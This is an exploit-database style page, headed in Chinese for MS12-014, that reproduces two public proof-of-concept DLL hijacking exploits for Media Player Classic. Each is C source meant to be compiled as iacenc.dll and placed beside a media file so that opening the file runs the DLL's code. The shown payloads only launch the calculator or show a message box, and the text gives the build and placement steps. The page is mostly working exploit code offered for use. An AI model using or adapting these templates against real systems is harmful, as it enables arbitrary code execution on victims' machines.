Microsoft Windows Indeo Filter 'iacenc.dll' DLL加载任意代码执行漏洞(MS12-014)

                                                /*
Mediaplayer Classic 1.3.2189.0 Dll Hijack Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010
Download: http://mpc-hc.sourceforge.net/

Details:
Compile the following code and rename it to iacenc.dll
and place file with one of the affected types in the same directory of the dll

Affected types: m2ts, m2t, flv, hdmov, 3gpp,3gp, mpeg, mp4v, mkv, m2v,rm , ram
(i guess all file types that mpc supports are affected)

Code :(used the one from this advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}



/*

Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit

Vendor: Gabest
Product Web Page: http://sourceforge.net/projects/guliverkli
Affected Version: 6.4.9.1 (revision 73)

Summary: Media Player Classic (MPC) is a compact media player for
32-bit Microsoft Windows. The application mimics the look and feel
of the old, lightweight Windows Media Player 6.4 but integrates
most options and features found in modern media players. It and
its forks are standard media players in the K-Lite Codec Pack and
the Combined Community Codec Pack.

Desc: Media Player Classic suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local
level. The vulnerable extensions are .mka, .ra and .ram thru iacenc.dll
library.

----
gcc -shared -o iacenc.dll mplayerc.c

Compile and rename to iacenc.dll, create a file test.mka or any of the
above vulnerable extensions and put both files in same dir and execute.
----

Tested on Microsoft Windows XP Professional SP3 (EN)



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk


25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        dll_mll();
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}

int dll_mll()
{
    MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}